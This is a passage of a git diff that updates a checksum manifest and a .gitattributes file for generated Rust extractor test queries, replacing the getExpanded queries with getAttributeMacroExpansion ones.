23ab4c55836873daf500973820d2d5eaa5892925ebdc5d35e314b87997ca6ce3 +test/extractor-tests/generated/Static/Static.ql f5f71ff62984d3b337b2065b0a5bc13eed71a61bbf5869f1a1977c5e35dfdd50 630c4d30987e3ca873487f6f0cf7f498827ae0ace005005acdd573cf0e660f6e test/extractor-tests/generated/Static/Static_getAttr.ql adb0bbf55fb962c0e9d317fd815c09c88793c04f2fb78dfd62c259420c70bc68 d317429171c69c4d5d926c26e97b47f5df87cf0552338f575cd3aeea0e57d2c2 +test/extractor-tests/generated/Static/Static_getAttributeMacroExpansion.ql 828ba050c964781dace382e4673c232f2aa80aa4e414d371fd421c3afc2b6902 018f8b75e1779829c87299d2d8f1ab5e7fa1aaa153599da789cf29b599d78477 test/extractor-tests/generated/Static/Static_getBody.ql e735bbd421e22c67db792671f5cb78291c437621fdfd700e5ef13b5b76b3684d 9148dc9d1899cedf817258a30a274e4f2c34659140090ca2afeb1b6f2f21e52f test/extractor-tests/generated/Static/Static_getCrateOrigin.ql f24ac3dac6a6e04d3cc58ae11b09749114a89816c28b96bf6be0e96b2e20d37f e4051426c5daa7e73c1a5a9023d6e50a2b46ebf194f45befbe3dd45e64831a55 -test/extractor-tests/generated/Static/Static_getExpanded.ql 6f949494cba88f12b1657badd7d15bdd0b6aba73701674a64aac9d30cbb4907f 9ea0c4bb0100482e9ae0b03c410860f10fd88115e854b2516b61732acc634501 test/extractor-tests/generated/Static/Static_getExtendedCanonicalPath.ql 6ec02f7ec9cf4cb174a7cdf87921758a3e798c76171be85939614305d773b6a0 c51567dac069fc67ece0aa018ae6332187aa1145f33489093e4aee049d7cea52 test/extractor-tests/generated/Static/Static_getName.ql c7537e166d994b6f961547e8b97ab4328b78cbd038a0eb9afaae42e35f6d9cb4 bb5ae24b85cd7a8340a4ce9e9d56ec3be31558051c82257ccb84289291f38a42 test/extractor-tests/generated/Static/Static_getTypeRepr.ql 45efcf393a3c6d4eca92416d8d6c88e0d0e85a2bc017da097ae2bbbe8a271a32 374b551e2d58813203df6f475a1701c89508803693e2a4bec7afc86c2d58d60b @@ -1075,10 +1076,10 @@ test/extractor-tests/generated/StmtList/StmtList.ql 0010df0d5e30f7bed3bd5d916faf test/extractor-tests/generated/StmtList/StmtList_getAttr.ql 78d4bf65273498f04238706330b03d0b61dd03b001531f05fcb2230f24ceab64 6e02cee05c0b9f104ddea72b20097034edb76e985188b3f10f079bb03163b830 test/extractor-tests/generated/StmtList/StmtList_getStatement.ql abbc3bcf98aab395fc851d5cc58c9c8a13fe1bdd531723bec1bc1b8ddbec6614 e302a26079986fa055306a1f641533dfde36c9bc0dd7958d21e2518b59e808c2 test/extractor-tests/generated/StmtList/StmtList_getTailExpr.ql 578d7c944ef42bdb822fc6ce52fe3d49a0012cf7854cfddbb3d5117133700587 64ea407455a3b4dfbb86202e71a72b5abbff885479367b2834c0dd16d1f9d0ee -test/extractor-tests/generated/Struct/Struct.ql 13d575bd8ca4ad029d233a13a485005bc03f58221b976c7e1df7456ddc788544 fc7cbaaf44d71e66aa8170b1822895fc0d0710d0b3a4da4f1b96ed9633f0b856 +test/extractor-tests/generated/Struct/Struct.ql a4e5d3fe4f994bdf911ebed54a65d237cd5a00510337e911bd5286637bc8ea80 a335224605f3cc35635bf5fd0bebcb50800429c0a82a5aa86a37cb9f6eb3f651 test/extractor-tests/generated/Struct/Struct_getAttr.ql 028d90ddc5189b82cfc8de20f9e05d98e8a12cc185705481f91dd209f2cb1f87 760780a48c12be4581c1675c46aae054a6198196a55b6b989402cc29b7caf245 +test/extractor-tests/generated/Struct/Struct_getAttributeMacroExpansion.ql a17504527a307615d26c2c4b6c21fe9b508f5a77a741d68ca605d2e69668e385 f755d8965c10568a57ff44432a795a0a36b86007fc7470bc652d555946e19231 test/extractor-tests/generated/Struct/Struct_getCrateOrigin.ql 289622244a1333277d3b1507c5cea7c7dd29a7905774f974d8c2100cea50b35f d32941a2d08d7830b42c263ee336bf54de5240bfc22082341b4420a20a1886c7 -test/extractor-tests/generated/Struct/Struct_getExpanded.ql fc6809bfafce55b6ff1794898fcd08ac220c4b2455782c52a51de64346ed09ba 9bcb24573b63831861b55c7f93af58e19af2929acf9bb1b8da94763bbfcde013 test/extractor-tests/generated/Struct/Struct_getExtendedCanonicalPath.ql 866a5893bd0869224fb8aadd071fba35b5386183bb476f5de45c9de7ab88c583 267aedc228d69e31ca8e95dcab6bcb1aa30f9ebaea43896a55016b7d68e3c441 test/extractor-tests/generated/Struct/Struct_getFieldList.ql f45d6d5d953741e52aca67129994b80f6904b2e6b43c519d6d42c29c7b663c42 77a7d07e8462fa608efc58af97ce8f17c5369f9573f9d200191136607cb0e600 test/extractor-tests/generated/Struct/Struct_getGenericParamList.ql cd72452713004690b77086163541fa319f8ab5faf503bb4a6a20bcaf2f790d38 4d72e891c5fac6e491d9e18b87ecf680dc423787d6b419da8f700fe1a14bc26f @@ -1122,21 +1123,21 @@ test/extractor-tests/generated/TokenTree/TokenTree.ql ba2ef197e0566640b57503579f test/extractor-tests/generated/Trait/AssocItemList.ql 0ea572b1350f87cc09ce4dc1794b392cc9ad292abb8439c106a7a1afe166868b 6e7493a3ace65c68b714e31234e149f3fc44941c3b4d125892531102b1060b2f test/extractor-tests/generated/Trait/AssocItemList_getAssocItem.ql 8149d905f6fc6caeb51fa1ddec787d0d90f4642687461c7b1a9d4ab93a27d65d 8fb9caad7d88a89dd71e5cc8e17496afbdf33800e58179f424ef482b1b765bb1 test/extractor-tests/generated/Trait/AssocItemList_getAttr.ql 06526c4a28fd4fdce04ca15fbadc2205b13dcc2d2de24177c370d812e02540e6 79c8ce6e1f8acc1aaca498531e2c1a0e7e2c0f2459d7fc9fe485fd82263c433f -test/extractor-tests/generated/Trait/Trait.ql a7407c80d297ba0b7651ae5756483c8d81874d20af4123552d929870e9125d13 62e45d36c9791702bc9d4a26eb04f22fe713d120a8e00fe6131032b081bad9f4 +test/extractor-tests/generated/Trait/Trait.ql 064785e9389bdf9abd6e0c8728a90a399af568a24c4b18b32cf1c2be2bcbf0b8 a77e89ac31d12c00d1849cb666ebb1eecc4a612934a0d82cd82ecd4c549c9e97 test/extractor-tests/generated/Trait/Trait_getAssocItemList.ql 05e6896f60afabf931a244e42f75ee55e09c749954a751d8895846de3121f58f def1f07d9945e8d9b45a659a285b0eb72b37509d20624c88e0a2d34abf7f0c72 test/extractor-tests/generated/Trait/Trait_getAttr.ql 9711125fa4fc0212b6357f06d1bc50df50b46168d139b649034296c64d732e21 901b6a9d04055b563f13d8742bd770c76ed1b2ccf9a7236a64de9d6d287fbd52 +test/extractor-tests/generated/Trait/Trait_getAttributeMacroExpansion.ql 7ea169336dca0fcaf961f61d811c81834ea28b17b2a01dc57a6e89f5bedc7594 d5a542f84149c0ccd32c7b4a7a19014a99aa63a493f40ea6fbebb83395b788a1 test/extractor-tests/generated/Trait/Trait_getCrateOrigin.ql d8433d63bb2c4b3befaaedc9ce862d1d7edcdf8b83b3fb5529262fab93880d20 3779f2678b3e00aac87259ecfe60903bb564aa5dbbc39adc6c98ad70117d8510 -test/extractor-tests/generated/Trait/Trait_getExpanded.ql 4a6912b74ad6cbfce27c6ffdff781271d182a91a4d781ee02b7ac35b775d681b 14c8df06c3909c9986fc238229208e87b39b238890eb5766af2185c36e3b00c9 test/extractor-tests/generated/Trait/Trait_getExtendedCanonicalPath.ql a2bd16e84f057ed8cb6aae3e2a117453a6e312705302f544a1496dbdd6fcb3e6 b4d419045430aa7acbc45f8043acf6bdacd8aff7fdda8a96c70ae6c364c9f4d1 test/extractor-tests/generated/Trait/Trait_getGenericParamList.ql b27ff28e3aff9ec3369bbbcbee40a07a4bd8af40928c8c1cb7dd1e407a88ffee 2b48e2049df18de61ae3026f8ab4c3e9e517f411605328b37a0b71b288826925 test/extractor-tests/generated/Trait/Trait_getName.ql d4ff3374f9d6068633bd125ede188fcd3f842f739ede214327cd33c3ace37379 3dcf91c303531113b65ea5205e9b6936c5d8b45cd3ddb60cd89ca7e49f0f00c1 test/extractor-tests/generated/Trait/Trait_getTypeBoundList.ql 8a4eb898424fe476db549207d67ba520999342f708cbb89ee0713e6bbf1c050d 69d01d97d161eef86f24dd0777e510530a4db5b0c31c760a9a3a54f70d6dc144 test/extractor-tests/generated/Trait/Trait_getVisibility.ql 8f4641558effd13a96c45d902e5726ba5e78fc9f39d3a05b4c72069993c499f4 553cf299e7d60a242cf44f2a68b8349fd8666cc4ccecab5ce200ce44ad244ba9 test/extractor-tests/generated/Trait/Trait_getWhereClause.ql b34562e7f9ad9003d2ae1f3a9be1b5c141944d3236eae3402a6c73f14652e8ad 509fa3815933737e8996ea2c1540f5d7f3f7de21947b02e10597006967efc9d1 -test/extractor-tests/generated/TraitAlias/TraitAlias.ql 6ba52527c90cd067ce3a48bb5051ba94c3c108444d428244622d381c1264ba55 76acb3a91331fa55c390a1cf2fd70a35052d9019b0216f5e00271ee367607d33 +test/extractor-tests/generated/TraitAlias/TraitAlias.ql c2a36ea7bf5723b9ec1fc24050c99681d9443081386980987bcb5989230a6605 b511356fea3dee5b70fee15369855002775c016db3f292e08293d0bf4b5bd33d test/extractor-tests/generated/TraitAlias/TraitAlias_getAttr.ql 128c24196bfa6204fffd4154ff6acebd2d1924bb366809cdb227f33d89e185c8 56e8329e652567f19ef7d4c4933ee670a27c0afb877a0fab060a0a2031d8133e +test/extractor-tests/generated/TraitAlias/TraitAlias_getAttributeMacroExpansion.ql 029d261d0bdd6fe5bc30011ac72481bce9e5a6029d52fde8bd00932455703276 cad506346840304954e365743c33efed22049f0cbcbb68e21d3a95f7c2e2b301 test/extractor-tests/generated/TraitAlias/TraitAlias_getCrateOrigin.ql 303212122021da7f745050c5de76c756461e5c6e8f4b20e26c43aa63d821c2b6 fdbd024cbe13e34265505147c6faffd997e5c222386c3d9e719cd2a385bde51c -test/extractor-tests/generated/TraitAlias/TraitAlias_getExpanded.ql 8767d1ffb0a9c1e84c39907d3ab5456aff146e877f7bfe905786ff636a39acd9 9467a2b63f32b84501f4aa1ce1e0fc822845a9239216b9ebf4eaf0c23d6d27f3 test/extractor-tests/generated/TraitAlias/TraitAlias_getExtendedCanonicalPath.ql 601b6b0e5e7e7f2926626866085d9a4a9e31dc575791e9bd0019befc0e397193 9bd325414edc35364dba570f6eecc48a8e18c4cbff37d32e920859773c586319 test/extractor-tests/generated/TraitAlias/TraitAlias_getGenericParamList.ql 5a40c1760fcf5074dc9e9efa1a543fc6223f4e5d2984923355802f91edb307e4 9fd7ab65c1d6affe19f96b1037ec3fb9381e90f602dd4611bb958048710601fa test/extractor-tests/generated/TraitAlias/TraitAlias_getName.ql e91fa621774b9467ae820f3c408191ac75ad33dd73bcd417d299006a84c1a069 113e0c5dd2e3ac2ddb1fd6b099b9b5c91d5cdd4a02e62d4eb8e575096f7f4c6a @@ -1164,10 +1165,10 @@ test/extractor-tests/generated/TupleStructPat/TupleStructPat_getResolvedCrateOri test/extractor-tests/generated/TupleStructPat/TupleStructPat_getResolvedPath.ql 150898b6e55cc74b9ddb947f136b5a7f538ee5598928c5724d80e3ddf93ae499 66e0bd7b32df8f5bbe229cc02be6a07cb9ec0fe8b444dad3f5b32282a90551ee test/extractor-tests/generated/TupleTypeRepr/TupleTypeRepr.ql 2f99917a95a85a932f423cba5a619a51cada8e704b93c54b0a8cb5d7a1129fa1 759bd02347c898139ac7dabe207988eea125be24d3e4c2282b791ec810c16ea7 test/extractor-tests/generated/TupleTypeRepr/TupleTypeRepr_getField.ql 615acfcbc475b5c2ffa8e46d023fc2e19d29ee879b4949644a7f0b25c33125e6 81b037af5dcb8a0489a7a81a0ad668ca781b71d4406c123c4f1c4f558722f13e -test/extractor-tests/generated/TypeAlias/TypeAlias.ql b7c4adb8322a2032657f4417471e7001dbe8236da79af963d6ac5ddf6c4e7c8a 7504a27f32fd76520398c95abd6adeca67be5b71ff4b8abdd086eb29c0d698fc +test/extractor-tests/generated/TypeAlias/TypeAlias.ql 5cbf0b82a25a492c153b4663e5a2c0bea4b15ff53fa22ba1217edaf3bb48c6af d28e6a9eafff3fb84a6f38e3c79ad0d54cb08c7609cd43c968efd3fbc4154957 test/extractor-tests/generated/TypeAlias/TypeAlias_getAttr.ql ecf4b45ef4876e46252785d2e42b11207e65757cdb26e60decafd765e7b03b49 21bb4d635d3d38abd731b9ad1a2b871f8e0788f48a03e9572823abeea0ea9382 +test/extractor-tests/generated/TypeAlias/TypeAlias_getAttributeMacroExpansion.ql fa2f0867039866e6405a735f9251de182429d3f1fdf00a749c7cfc3e3d62a7bb 56083d34fffd07a43b5736479b4d3b191d138415759639e9dd60789fefe5cb6f test/extractor-tests/generated/TypeAlias/TypeAlias_getCrateOrigin.ql cd66db5b43bcb46a6cf6db8c262fd524017ef67cdb67c010af61fab303e3bc65 2aebae618448530ec537709c5381359ea98399db83eeae3be88825ebefa1829d -test/extractor-tests/generated/TypeAlias/TypeAlias_getExpanded.ql dc797269de5b29409484577d4f2e4de9462a1001232a57c141c1e9d3f0e7ad74 d2c3d55fcdf077523ceb899d11d479db15b449b5e82eb8610cb637ae79ef74e6 test/extractor-tests/generated/TypeAlias/TypeAlias_getExtendedCanonicalPath.ql fe9c4132e65b54eb071b779e508e9ed0081d860df20f8d4748332b45b7215fd5 448c10c3f8f785c380ce430996af4040419d8dccfa86f75253b6af83d2c8f1c9 test/extractor-tests/generated/TypeAlias/TypeAlias_getGenericParamList.ql e7e936458dce5a8c6675485a49e2769b6dbff29c112ed744c880e0fc7ae740ef e5fcf3a33d2416db6b0a73401a3cbc0cece22d0e06794e01a1645f2b3bca9306 test/extractor-tests/generated/TypeAlias/TypeAlias_getName.ql 757deb3493764677de3eb1ff7cc119a469482b7277ed01eb8aa0c38b4a8797fb 5efed24a6968544b10ff44bfac7d0432a9621bde0e53b8477563d600d4847825 @@ -1190,20 +1191,20 @@ test/extractor-tests/generated/TypeParam/TypeParam_getName.ql 9d5b6d6a9f2a5793e2 test/extractor-tests/generated/TypeParam/TypeParam_getTypeBoundList.ql 080a6b370ad460bf128fdfd632aa443af2ad91c3483e192ad756eb234dbfa4d8 8b048d282963f670db357f1eef9b8339f83d03adf57489a22b441d5c782aff62 test/extractor-tests/generated/UnderscoreExpr/UnderscoreExpr.ql 4ad6ed0c803fb4f58094a55b866940b947b16259756c674200172551ee6546e0 d3270bdcc4c026325159bd2a59848eb51d96298b2bf21402ea0a83ac1ea6d291 test/extractor-tests/generated/UnderscoreExpr/UnderscoreExpr_getAttr.ql d8502be88bcd97465f387c410b5078a4709e32b2baa556a4918ea5e609c40dd7 b238dc37404254e3e7806d50a7b1453e17e71da122931331b16a55853d3a843f -test/extractor-tests/generated/Union/Union.ql ef8005f4ac5d3e6f308b3bb1a1861403674cbb1b72e6558573e9506865ae985e 88933d0f9500ce61a847fbb792fd778d77a4e7379fc353d2a9f5060773eda64f +test/extractor-tests/generated/Union/Union.ql 2795c83d4511fadf24cc66a762adbabca084bc6ac48501715f666979d2ea9ea5 7efae5209ae3ee8c73cd1c9e9e05f01b3fdda65d9a553c2ac5216351b6f15e5c test/extractor-tests/generated/Union/Union_getAttr.ql 42fa0878a6566208863b1d884baf7b68b46089827fdb1dbbfacbfccf5966a9a2 54aa94f0281ca80d1a4bdb0e2240f4384af2ab8d50f251875d1877d0964579fc +test/extractor-tests/generated/Union/Union_getAttributeMacroExpansion.ql ddd0133a497dc057a353b86acc8ed991fefeaefa335d8ad9fe95109a90e39e54 fcaed4287815226843157c007674b1f1405cae31856fed1113d569bab5608d9b test/extractor-tests/generated/Union/Union_getCrateOrigin.ql c218308cf17b1490550229a725542d248617661b1a5fa14e9b0e18d29c5ecc00 e0489242c8ff7aa4dbfdebcd46a5e0d9bea0aa618eb0617e76b9b6f863a2907a -test/extractor-tests/generated/Union/Union_getExpanded.ql a096814a812662a419b50aa9fd66ab2f6be9d4471df3d50351e9d0bcf061f194 51b406644ee819d74f1b80cdb3a451fa1fad6e6a65d89fa6e3dc87516d9d4292 test/extractor-tests/generated/Union/Union_getExtendedCanonicalPath.ql 6268ddb68c3e05906e3fc85e40635925b84e5c7290746ded9c6814d362033068 04473b3b9891012e95733463018db8da0e96659ea0b10458b33dc857c091d278 test/extractor-tests/generated/Union/Union_getGenericParamList.ql c55156ae26b766e385be7d21e67f8c3c45c29274201c93d660077fcc47e1ceee 4c4d338e17c32876ef6e51fd19cff67d125dd89c10e939dfaadbac824bef6a68 test/extractor-tests/generated/Union/Union_getName.ql 17247183e1a8c8bbb15e67120f65ca323630bddeb614fa8a48e1e74319f8ed37 e21c2a0205bc991ba86f3e508451ef31398bdf5441f6d2a3f72113aaae9e152b test/extractor-tests/generated/Union/Union_getStructFieldList.ql ae42dec53a42bcb712ec5e94a3137a5c0b7743ea3b635e44e7af8a0d59e59182 61b34bb8d6e05d9eb34ce353eef7cc07c684179bf2e3fdf9f5541e04bef41425 test/extractor-tests/generated/Union/Union_getVisibility.ql 86628736a677343d816e541ba76db02bdae3390f8367c09be3c1ff46d1ae8274 6514cdf4bfad8d9c968de290cc981be1063c0919051822cc6fdb03e8a891f123 test/extractor-tests/generated/Union/Union_getWhereClause.ql 508e68ffa87f4eca2e2f9c894d215ea76070d628a294809dc267082b9e36a359 29da765d11794441a32a5745d4cf594495a9733e28189d898f64da864817894f -test/extractor-tests/generated/Use/Use.ql 9a0a5efb8118830355fb90bc850de011ae8586c12dce92cfc8f39a870dd52100 7fd580282752a8e6a8ea9ac33ff23a950304030bc32cfbd3b9771368723fb8d6 +test/extractor-tests/generated/Use/Use.ql 1adafd3adcfbf907250ce3592599d96c64572e381937fa11d11ce6d4f35cfd7f 2671e34197df8002142b5facb5380604e807e87aa41e7f8e32dc6d1eefb695f1 test/extractor-tests/generated/Use/Use_getAttr.ql 6d43c25401398108553508aabb32ca476b3072060bb73eb07b1b60823a01f964 84e6f6953b4aa9a7472082f0a4f2df26ab1d157529ab2c661f0031603c94bb1d +test/extractor-tests/generated/Use/Use_getAttributeMacroExpansion.ql d02562044449f6de2c70241e0964a8dedb7d1f722c2a98ee9c96638841fa1bc5 a1db982e16b35f1a0ab4091999437a471018afd9f4f01504723aa989d49e4034 test/extractor-tests/generated/Use/Use_getCrateOrigin.ql 912ebc1089aa3390d4142a39ea73d5490eae525d1fb51654fdd05e9dd48a94b6 c59e36362016ae536421e6d517889cea0b2670818ea1f9e997796f51a9b381e2 -test/extractor-tests/generated/Use/Use_getExpanded.ql 386631ee0ee002d3d6f7f6e48c87d2bb2c4349aa3692d16730c0bc31853b11cf 50e03f47cc1099d7f2f27724ea82d3b69b85e826b66736361b0cbeceb88f88a4 test/extractor-tests/generated/Use/Use_getExtendedCanonicalPath.ql ccfde95c861cf4199e688b6efeeee9dab58a27cfecd520e39cc20f89143c03c9 6ff93df4134667d7cb74ae7efe102fe2db3ad4c67b4b5a0f8955f21997806f16 test/extractor-tests/generated/Use/Use_getUseTree.ql 1dfe6bb40b29fbf823d67fecfc36ba928b43f17c38227b8eedf19fa252edf3af aacdcc4cf418ef1eec267287d2af905fe73f5bcfb080ef5373d08da31c608720 test/extractor-tests/generated/Use/Use_getVisibility.ql 587f80acdd780042c48aeb347004be5e9fd9df063d263e6e4f2b660c48c53a8f 0c2c04f95838bca93dfe93fa208e1df7677797efc62b4e8052a4f9c5d20831dd diff --git a/rust/ql/.gitattributes b/rust/ql/.gitattributes index 9fb82167e791..c9915f995e6f 100644 --- a/rust/ql/.gitattributes +++ b/rust/ql/.gitattributes @@ -740,9 +740,9 @@ /test/extractor-tests/generated/Comment/Comment.ql linguist-generated /test/extractor-tests/generated/Const/Const.ql linguist-generated /test/extractor-tests/generated/Const/Const_getAttr.ql linguist-generated +/test/extractor-tests/generated/Const/Const_getAttributeMacroExpansion.ql linguist-generated /test/extractor-tests/generated/Const/Const_getBody.ql linguist-generated /test/extractor-tests/generated/Const/Const_getCrateOrigin.ql linguist-generated -/test/extractor-tests/generated/Const/Const_getExpanded.ql linguist-generated /test/extractor-tests/generated/Const/Const_getExtendedCanonicalPath.ql linguist-generated /test/extractor-tests/generated/Const/Const_getName.ql linguist-generated /test/extractor-tests/generated/Const/Const_getTypeRepr.ql linguist-generated @@ -764,8 +764,8 @@ /test/extractor-tests/generated/DynTraitTypeRepr/DynTraitTypeRepr_getTypeBoundList.ql linguist-generated /test/extractor-tests/generated/Enum/Enum.ql linguist-generated /test/extractor-tests/generated/Enum/Enum_getAttr.ql linguist-generated +/test/extractor-tests/generated/Enum/Enum_getAttributeMacroExpansion.ql linguist-generated /test/extractor-tests/generated/Enum/Enum_getCrateOrigin.ql linguist-generated -/test/extractor-tests/generated/Enum/Enum_getExpanded.ql linguist-generated /test/extractor-tests/generated/Enum/Enum_getExtendedCanonicalPath.ql linguist-generated /test/extractor-tests/generated/Enum/Enum_getGenericParamList.ql linguist-generated /test/extractor-tests/generated/Enum/Enum_getName.ql linguist-generated @@ -777,14 +777,14 @@ /test/extractor-tests/generated/ExternBlock/ExternBlock.ql linguist-generated /test/extractor-tests/generated/ExternBlock/ExternBlock_getAbi.ql linguist-generated /test/extractor-tests/generated/ExternBlock/ExternBlock_getAttr.ql linguist-generated +/test/extractor-tests/generated/ExternBlock/ExternBlock_getAttributeMacroExpansion.ql linguist-generated /test/extractor-tests/generated/ExternBlock/ExternBlock_getCrateOrigin.ql linguist-generated -/test/extractor-tests/generated/ExternBlock/ExternBlock_getExpanded.ql linguist-generated /test/extractor-tests/generated/ExternBlock/ExternBlock_getExtendedCanonicalPath.ql linguist-generated /test/extractor-tests/generated/ExternBlock/ExternBlock_getExternItemList.ql linguist-generated /test/extractor-tests/generated/ExternCrate/ExternCrate.ql linguist-generated /test/extractor-tests/generated/ExternCrate/ExternCrate_getAttr.ql linguist-generated +/test/extractor-tests/generated/ExternCrate/ExternCrate_getAttributeMacroExpansion.ql linguist-generated /test/extractor-tests/generated/ExternCrate/ExternCrate_getCrateOrigin.ql linguist-generated -/test/extractor-tests/generated/ExternCrate/ExternCrate_getExpanded.ql linguist-generated /test/extractor-tests/generated/ExternCrate/ExternCrate_getExtendedCanonicalPath.ql linguist-generated /test/extractor-tests/generated/ExternCrate/ExternCrate_getIdentifier.ql linguist-generated /test/extractor-tests/generated/ExternCrate/ExternCrate_getRename.ql linguist-generated @@ -827,9 +827,9 @@ /test/extractor-tests/generated/Function/Function.ql linguist-generated /test/extractor-tests/generated/Function/Function_getAbi.ql linguist-generated /test/extractor-tests/generated/Function/Function_getAttr.ql linguist-generated +/test/extractor-tests/generated/Function/Function_getAttributeMacroExpansion.ql linguist-generated /test/extractor-tests/generated/Function/Function_getBody.ql linguist-generated /test/extractor-tests/generated/Function/Function_getCrateOrigin.ql linguist-generated -/test/extractor-tests/generated/Function/Function_getExpanded.ql linguist-generated /test/extractor-tests/generated/Function/Function_getExtendedCanonicalPath.ql linguist-generated /test/extractor-tests/generated/Function/Function_getGenericParamList.ql linguist-generated /test/extractor-tests/generated/Function/Function_getName.ql linguist-generated @@ -853,8 +853,8 @@ /test/extractor-tests/generated/Impl/Impl.ql linguist-generated /test/extractor-tests/generated/Impl/Impl_getAssocItemList.ql linguist-generated /test/extractor-tests/generated/Impl/Impl_getAttr.ql linguist-generated +/test/extractor-tests/generated/Impl/Impl_getAttributeMacroExpansion.ql linguist-generated /test/extractor-tests/generated/Impl/Impl_getCrateOrigin.ql linguist-generated -/test/extractor-tests/generated/Impl/Impl_getExpanded.ql linguist-generated /test/extractor-tests/generated/Impl/Impl_getExtendedCanonicalPath.ql linguist-generated /test/extractor-tests/generated/Impl/Impl_getGenericParamList.ql linguist-generated /test/extractor-tests/generated/Impl/Impl_getSelfTy.ql linguist-generated @@ -904,17 +904,18 @@ /test/extractor-tests/generated/LoopExpr/LoopExpr_getLoopBody.ql linguist-generated /test/extractor-tests/generated/MacroCall/MacroCall.ql linguist-generated /test/extractor-tests/generated/MacroCall/MacroCall_getAttr.ql linguist-generated +/test/extractor-tests/generated/MacroCall/MacroCall_getAttributeMacroExpansion.ql linguist-generated /test/extractor-tests/generated/MacroCall/MacroCall_getCrateOrigin.ql linguist-generated -/test/extractor-tests/generated/MacroCall/MacroCall_getExpanded.ql linguist-generated /test/extractor-tests/generated/MacroCall/MacroCall_getExtendedCanonicalPath.ql linguist-generated +/test/extractor-tests/generated/MacroCall/MacroCall_getMacroCallExpansion.ql linguist-generated /test/extractor-tests/generated/MacroCall/MacroCall_getPath.ql linguist-generated /test/extractor-tests/generated/MacroCall/MacroCall_getTokenTree.ql linguist-generated /test/extractor-tests/generated/MacroDef/MacroDef.ql linguist-generated /test/extractor-tests/generated/MacroDef/MacroDef_getArgs.ql linguist-generated /test/extractor-tests/generated/MacroDef/MacroDef_getAttr.ql linguist-generated +/test/extractor-tests/generated/MacroDef/MacroDef_getAttributeMacroExpansion.ql linguist-generated /test/extractor-tests/generated/MacroDef/MacroDef_getBody.ql linguist-generated /test/extractor-tests/generated/MacroDef/MacroDef_getCrateOrigin.ql linguist-generated -/test/extractor-tests/generated/MacroDef/MacroDef_getExpanded.ql linguist-generated /test/extractor-tests/generated/MacroDef/MacroDef_getExtendedCanonicalPath.ql linguist-generated /test/extractor-tests/generated/MacroDef/MacroDef_getName.ql linguist-generated /test/extractor-tests/generated/MacroDef/MacroDef_getVisibility.ql linguist-generated @@ -926,8 +927,8 @@ /test/extractor-tests/generated/MacroPat/MacroPat_getMacroCall.ql linguist-generated /test/extractor-tests/generated/MacroRules/MacroRules.ql linguist-generated /test/extractor-tests/generated/MacroRules/MacroRules_getAttr.ql linguist-generated +/test/extractor-tests/generated/MacroRules/MacroRules_getAttributeMacroExpansion.ql linguist-generated /test/extractor-tests/generated/MacroRules/MacroRules_getCrateOrigin.ql linguist-generated -/test/extractor-tests/generated/MacroRules/MacroRules_getExpanded.ql linguist-generated /test/extractor-tests/generated/MacroRules/MacroRules_getExtendedCanonicalPath.ql linguist-generated /test/extractor-tests/generated/MacroRules/MacroRules_getName.ql linguist-generated /test/extractor-tests/generated/MacroRules/MacroRules_getTokenTree.ql linguist-generated @@ -965,8 +966,8 @@ /test/extractor-tests/generated/MethodCallExpr/MethodCallExpr_getResolvedPath.ql linguist-generated /test/extractor-tests/generated/Module/Module.ql linguist-generated /test/extractor-tests/generated/Module/Module_getAttr.ql linguist-generated +/test/extractor-tests/generated/Module/Module_getAttributeMacroExpansion.ql linguist-generated /test/extractor-tests/generated/Module/Module_getCrateOrigin.ql linguist-generated -/test/extractor-tests/generated/Module/Module_getExpanded.ql linguist-generated /test/extractor-tests/generated/Module/Module_getExtendedCanonicalPath.ql linguist-generated /test/extractor-tests/generated/Module/Module_getItemList.ql linguist-generated /test/extractor-tests/generated/Module/Module_getName.ql linguist-generated @@ -1066,9 +1067,9 @@ /test/extractor-tests/generated/SourceFile/SourceFile_getItem.ql linguist-generated /test/extractor-tests/generated/Static/Static.ql linguist-generated /test/extractor-tests/generated/Static/Static_getAttr.ql linguist-generated +/test/extractor-tests/generated/Static/Static_getAttributeMacroExpansion.ql linguist-generated /test/extractor-tests/generated/Static/Static_getBody.ql linguist-generated /test/extractor-tests/generated/Static/Static_getCrateOrigin.ql linguist-generated -/test/extractor-tests/generated/Static/Static_getExpanded.ql linguist-generated /test/extractor-tests/generated/Static/Static_getExtendedCanonicalPath.ql linguist-generated /test/extractor-tests/generated/Static/Static_getName.ql linguist-generated /test/extractor-tests/generated/Static/Static_getTypeRepr.ql linguist-generated @@ -1079,8 +1080,8 @@ /test/extractor-tests/generated/StmtList/StmtList_getTailExpr.ql linguist-generated /test/extractor-tests/generated/Struct/Struct.ql linguist-generated /test/extractor-tests/generated/Struct/Struct_getAttr.ql linguist-generated +/test/extractor-tests/generated/Struct/Struct_getAttributeMacroExpansion.ql linguist-generated /test/extractor-tests/generated/Struct/Struct_getCrateOrigin.ql linguist-generated -/test/extractor-tests/generated/Struct/Struct_getExpanded.ql linguist-generated /test/extractor-tests/generated/Struct/Struct_getExtendedCanonicalPath.ql linguist-generated /test/extractor-tests/generated/Struct/Struct_getFieldList.ql linguist-generated /test/extractor-tests/generated/Struct/Struct_getGenericParamList.ql linguist-generated @@ -1127,8 +1128,8 @@ /test/extractor-tests/generated/Trait/Trait.ql linguist-generated /test/extractor-tests/generated/Trait/Trait_getAssocItemList.ql linguist-generated /test/extractor-tests/generated/Trait/Trait_getAttr.ql linguist-generated +/test/extractor-tests/generated/Trait/Trait_getAttributeMacroExpansion.ql linguist-generated /test/extractor-tests/generated/Trait/Trait_getCrateOrigin.ql linguist-generated -/test/extractor-tests/generated/Trait/Trait_getExpanded.ql linguist-generated /test/extractor-tests/generated/Trait/Trait_getExtendedCanonicalPath.ql linguist-generated /test/extractor-tests/generated/Trait/Trait_getGenericParamList.ql linguist-generated /test/extractor-tests/generated/Trait/Trait_getName.ql linguist-generated @@ -1137,8 +1138,8 @@ /test/extractor-tests/generated/Trait/Trait_getWhereClause.ql linguist-generated /test/extractor-tests/generated/TraitAlias/TraitAlias.ql linguist-generated /test/extractor-tests/generated/TraitAlias/TraitAlias_getAttr.ql linguist-generated +/test/extractor-tests/generated/TraitAlias/TraitAlias_getAttributeMacroExpansion.ql linguist-generated /test/extractor-tests/generated/TraitAlias/TraitAlias_getCrateOrigin.ql linguist-generated -/test/extractor-tests/generated/TraitAlias/TraitAlias_getExpanded.ql linguist-generated /test/extractor-tests/generated/TraitAlias/TraitAlias_getExtendedCanonicalPath.ql linguist-generated /test/extractor-tests/generated/TraitAlias/TraitAlias_getGenericParamList.ql linguist-generated /test/extractor-tests/generated/TraitAlias/TraitAlias_getName.ql linguist-generated @@ -1168,8 +1169,8 @@ /test/extractor-tests/generated/TupleTypeRepr/TupleTypeRepr_getField.ql linguist-generated 